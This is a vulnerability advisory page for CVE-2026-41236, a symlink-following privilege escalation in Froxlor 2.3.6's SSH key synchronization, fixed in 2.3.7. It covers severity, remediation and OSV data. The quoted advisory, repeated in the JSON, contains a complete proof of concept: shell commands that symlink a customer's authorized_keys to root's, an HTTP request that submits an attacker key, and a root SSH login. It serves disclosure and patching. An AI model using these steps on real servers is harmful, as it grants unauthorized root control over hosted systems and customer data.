CVE-2026-41236: Froxlor/froxlor Froxlor Has Privilege Escalation Vulnerability

HIGH
Advisory Identifier: GHSA-mq5v-pxpm-8jw2
CVSS 8.8
CWE-59
Published
Advisory Summary

CVE-2026-41236 is a HIGH (CVSS 8.8) froxlor has privilege escalation vulnerability (CWE-59: Improper Link Resolution Before File Access ('Link Following')) affecting Froxlor/froxlor libraries in the Packagist ecosystem. The issue involves froxlor has privilege escalation in ssh key synchronization via symlinked `authorized_keys` path. Remediation is available by upgrading affected packages to version 2.3.7.

CVE-2026-41236 at a Glance

CVE Identifier CVE-2026-41236
GHSA Identifier GHSA-mq5v-pxpm-8jw2
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-59: Improper Link Resolution Before File Access ('Link Following')
Affected Product Froxlor/froxlor
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-41236

To remediate this vulnerability, upgrade all affected Froxlor/froxlor dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

froxlor/froxlor fixed: 2.3.7
Upgrade froxlor/froxlor to 2.3.7
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for froxlor/froxlor

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-41236, inspect your project dependencies for Froxlor/froxlor:

inspect dependencies for froxlor/froxlor

Analyze the terminal output to locate any version of Froxlor/froxlor in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.3.7), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-59: Improper Link Resolution Before File Access ('Link Following'), where the product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource. In Froxlor/froxlor, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Froxlor 2.3.6 contains a symlink-following flaw in the root-owned SSH key synchronization path used for customer FTP users. The provisioning code appends public keys to `~/.ssh/authorized_keys` under a customer-controlled home directory without verifying that the target path is not a symbolic link. If an attacker controls a shell-enabled customer account and can modify files inside the assigned home directory, the attacker can replace `~/.ssh/authorized_keys` with a symlink to `/root/.ssh/authorized_keys`. When Froxlor's privileged cron task later synchronizes SSH keys, it appends the attacker-supplied key into root's authorized key file, resulting in root SSH access. ### Details The customer-facing SSH key workflow accepts an FTP user selection and an arbitrary public key from the authenticated session and forwards them into `SshKeys::add()`: ```php // customer_ftp.php:251-253 if ($action == 'add' && Request::post('send') == 'send') { $result = $log->logAction(USR_ACTION, LOG_INFO, "added SSH-key"); Commands::get()->apiCall('SshKeys.add', Request::postAll()); } ``` On the server side, the add handler stores the public key and schedules an NSS rebuild as long as the customer has shell capability enabled at the customer level: ```php // lib/Froxlor/Api/Commands/SshKeys.php:67-70,120-145 if ($this->getUserDetail('shell_allowed') != '1') { throw new Exception("You cannot add SSH keys because shell access is disabled for your account."); } $ins_stmt = Database::prepare(" INSERT INTO `" . TABLE_PANEL_CUSTOMERS_SSH ."`. "); Settings::AddTask('rebuildnssusers'); ``` Later, a root-owned cron path enters `SshKeys::generateFiles()` and derives the target path by simple string concatenation: ```php // lib/Froxlor/Cron/System/SshKeys.php:52-64 $sshdir = FileDir::makeCorrectDir($userinfo['homedir'] . '/.ssh'); $authkeysfile = FileDir::makeCorrectFile($sshdir . '/authorized_keys'); if (!file_exists($authkeysfile)) { touch($authkeysfile); } ``` The helper used here only normalizes the path string and does not resolve or reject symlinks: ```php // lib/Froxlor/FileDir.php:376-392 public static function makeCorrectFile(string $file): string { $file = str_replace('//', '/', $file); $file = str_replace('\\', '', $file); return $file; } ``` The root-owned sync code then appends attacker-controlled SSH key material to the derived path: ```php // lib/Froxlor/Cron/System/SshKeys.php:94-103 file_put_contents($authkeysfile, $userinfo['ssh-rsa'] . "\n", FILE_APPEND | LOCK_EX); chown($authkeysfile, $userinfo['uid']); chgrp($authkeysfile, $userinfo['gid']); ``` Because Froxlor also grants the customer ownership of the home directory tree during account provisioning, the attacker can place a symbolic link at `~/.ssh/authorized_keys` before the privileged synchronization step runs. ### PoC An attacker needs an authenticated customer account with shell-enabled home-directory control. That prerequisite may exist by normal configuration, or it may be obtained first through the separate FTP shell-assignment authorization bypass described in the companion report. Relevant runtime prerequisites: - the attacker controls a customer-owned home directory on the target host - the attacking customer has `shell_allowed=1` - the attacker can submit SSH keys through the Froxlor panel - Froxlor's master cron runs with the intended root privileges Complete PoC flow: 1. Obtain shell access as the customer-owned account and prepare a symlink in the home directory: ```bash mkdir -p ~/.ssh rm -f ~/.ssh/authorized_keys ln -s /root/.ssh/authorized_keys ~/.ssh/authorized_keys ``` 2. From an authenticated Froxlor customer session, submit a new SSH public key for the relevant FTP user: ```http POST /customer_ftp.php?page=sshkeys&action=add HTTP/1.1 Host: target.example Content-Type: application/x-www-form-urlencoded Cookie: <authenticated customer session> csrf_token=VALID_CSRF_TOKEN& send=send& description=poc& ftpuser=17& ssh_pubkey=ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB attacker@host ``` 3. Wait for Froxlor's master cron to process the queued `REBUILD_NSSUSERS` task. 4. Use the corresponding private key to authenticate as root: ```bash ssh -i id_ed25519 root@target.example ``` Result: - the root-owned cron task follows the symlinked `authorized_keys` path - the submitted public key is appended to `/root/.ssh/authorized_keys` - SSH access as `root` succeeds with the attacker's key pair ### Impact This is a direct customer-to-root privilege escalation on the managed host. A successful attacker can obtain full operating-system control, read or modify all hosted customer data, persist at the highest privilege level, and tamper with every service administered by the server.

CVE-2026-41236 Affected Froxlor/froxlor Versions

1 component(s)
Fixed Versions:
2.3.7
Product / Package Ecosystem Affected Versions Fixed Version
froxlor/froxlor
Packagist
≥ 2.3.6
< 2.3.7
All 1 versions
2.3.6
2.3.7

References

Frequently Asked Questions

What is CVE-2026-41236?
CVE-2026-41236 is a security vulnerability in Froxlor/froxlor involving Froxlor has privilege escalation in SSH key synchronization via symlinked `authorized_keys` path under CWE-59: Improper Link Resolution Before File Access ('Link Following').
Which Froxlor/froxlor versions are affected?
Affected versions include releases prior to 2.3.7 across affected packages: froxlor/froxlor.
What version fixes CVE-2026-41236?
Upgrading to 2.3.7 (or the latest patched release for your respective branch) resolves the vulnerability.
Is froxlor/froxlor affected?
Yes, froxlor/froxlor is affected in releases prior to 2.3.7. Upgrade your dependency to 2.3.7 or later.
What is the CVSS score of CVE-2026-41236?
CVE-2026-41236 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-41236?
CVE-2026-41236 is classified under CWE-59: Improper Link Resolution Before File Access ('Link Following') (The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.).
How can I check Packagist dependencies for CVE-2026-41236?
Run the dependency tree command: 'inspect dependencies for froxlor/froxlor'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mq5v-pxpm-8jw2",
  "modified" : "2026-06-09T11:54:22Z",
  "published" : "2026-05-29T15:40:23Z",
  "aliases" : [ "CVE-2026-41236" ],
  "summary" : "Froxlor has privilege escalation in SSH key synchronization via symlinked `authorized_keys` path",
  "details" : "### Summary\nFroxlor 2.3.6 contains a symlink-following flaw in the root-owned SSH key synchronization path used for customer FTP users. The provisioning code appends public keys to `~/.ssh/authorized_keys` under a customer-controlled home directory without verifying that the target path is not a symbolic link.\n\nIf an attacker controls a shell-enabled customer account and can modify files inside the assigned home directory, the attacker can replace `~/.ssh/authorized_keys` with a symlink to `/root/.ssh/authorized_keys`. When Froxlor's privileged cron task later synchronizes SSH keys, it appends the attacker-supplied key into root's authorized key file, resulting in root SSH access.\n\n### Details\nThe customer-facing SSH key workflow accepts an FTP user selection and an arbitrary public key from the authenticated session and forwards them into `SshKeys::add()`:\n\n```php\n// customer_ftp.php:251-253\nif ($action == 'add' && Request::post('send') == 'send') {\n    $result = $log->logAction(USR_ACTION, LOG_INFO, \"added SSH-key\");\n    Commands::get()->apiCall('SshKeys.add', Request::postAll());\n}\n```\n\nOn the server side, the add handler stores the public key and schedules an NSS rebuild as long as the customer has shell capability enabled at the customer level:\n\n```php\n// lib/Froxlor/Api/Commands/SshKeys.php:67-70,120-145\nif ($this->getUserDetail('shell_allowed') != '1') {\n    throw new Exception(\"You cannot add SSH keys because shell access is disabled for your account.\");\n}\n\n$ins_stmt = Database::prepare(\"\n    INSERT INTO `\" . TABLE_PANEL_CUSTOMERS_SSH .\"`.\n\");\nSettings::AddTask('rebuildnssusers');\n```\n\nLater, a root-owned cron path enters `SshKeys::generateFiles()` and derives the target path by simple string concatenation:\n\n```php\n// lib/Froxlor/Cron/System/SshKeys.php:52-64\n$sshdir = FileDir::makeCorrectDir($userinfo['homedir'] . '/.ssh');\n$authkeysfile = FileDir::makeCorrectFile($sshdir . '/authorized_keys');\nif (!file_exists($authkeysfile)) {\n    touch($authkeysfile);\n}\n```\n\nThe helper used here only normalizes the path string and does not resolve or reject symlinks:\n\n```php\n// lib/Froxlor/FileDir.php:376-392\npublic static function makeCorrectFile(string $file): string\n{\n    $file = str_replace('//', '/', $file);\n    $file = str_replace('\\\\', '', $file);\n    return $file;\n}\n```\n\nThe root-owned sync code then appends attacker-controlled SSH key material to the derived path:\n\n```php\n// lib/Froxlor/Cron/System/SshKeys.php:94-103\nfile_put_contents($authkeysfile, $userinfo['ssh-rsa'] . \"\\n\", FILE_APPEND | LOCK_EX);\nchown($authkeysfile, $userinfo['uid']);\nchgrp($authkeysfile, $userinfo['gid']);\n```\n\nBecause Froxlor also grants the customer ownership of the home directory tree during account provisioning, the attacker can place a symbolic link at `~/.ssh/authorized_keys` before the privileged synchronization step runs.\n\n\n### PoC\nAn attacker needs an authenticated customer account with shell-enabled home-directory control. That prerequisite may exist by normal configuration, or it may be obtained first through the separate FTP shell-assignment authorization bypass described in the companion report.\n\nRelevant runtime prerequisites:\n\n- the attacker controls a customer-owned home directory on the target host\n- the attacking customer has `shell_allowed=1`\n- the attacker can submit SSH keys through the Froxlor panel\n- Froxlor's master cron runs with the intended root privileges\n\nComplete PoC flow:\n\n1. Obtain shell access as the customer-owned account and prepare a symlink in the home directory:\n\n```bash\nmkdir -p ~/.ssh\nrm -f ~/.ssh/authorized_keys\nln -s /root/.ssh/authorized_keys ~/.ssh/authorized_keys\n```\n\n2. From an authenticated Froxlor customer session, submit a new SSH public key for the relevant FTP user:\n\n```http\nPOST /customer_ftp.php?page=sshkeys&action=add HTTP/1.1\nHost: target.example\nContent-Type: application/x-www-form-urlencoded\nCookie: <authenticated customer session>\n\ncsrf_token=VALID_CSRF_TOKEN&\nsend=send&\ndescription=poc&\nftpuser=17&\nssh_pubkey=ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB attacker@host\n```\n\n3. Wait for Froxlor's master cron to process the queued `REBUILD_NSSUSERS` task.\n4. Use the corresponding private key to authenticate as root:\n\n```bash\nssh -i id_ed25519 root@target.example\n```\n\nResult:\n\n- the root-owned cron task follows the symlinked `authorized_keys` path\n- the submitted public key is appended to `/root/.ssh/authorized_keys`\n- SSH access as `root` succeeds with the attacker's key pair\n\n### Impact\nThis is a direct customer-to-root privilege escalation on the managed host. A successful attacker can obtain full operating-system control, read or modify all hosted customer data, persist at the highest privilege level, and tamper with every service administered by the server.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "froxlor/froxlor"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.3.6"
      }, {
        "fixed" : "2.3.7"
      } ]
    } ],
    "versions" : [ "2.3.6" ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/froxlor/froxlor/security/advisories/GHSA-mq5v-pxpm-8jw2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41236"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/froxlor/froxlor"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/froxlor/froxlor/releases/tag/2.3.7"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-59" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-29T15:40:23Z",
    "nvd_published_at" : "2026-06-04T19:16:29Z"
  }
}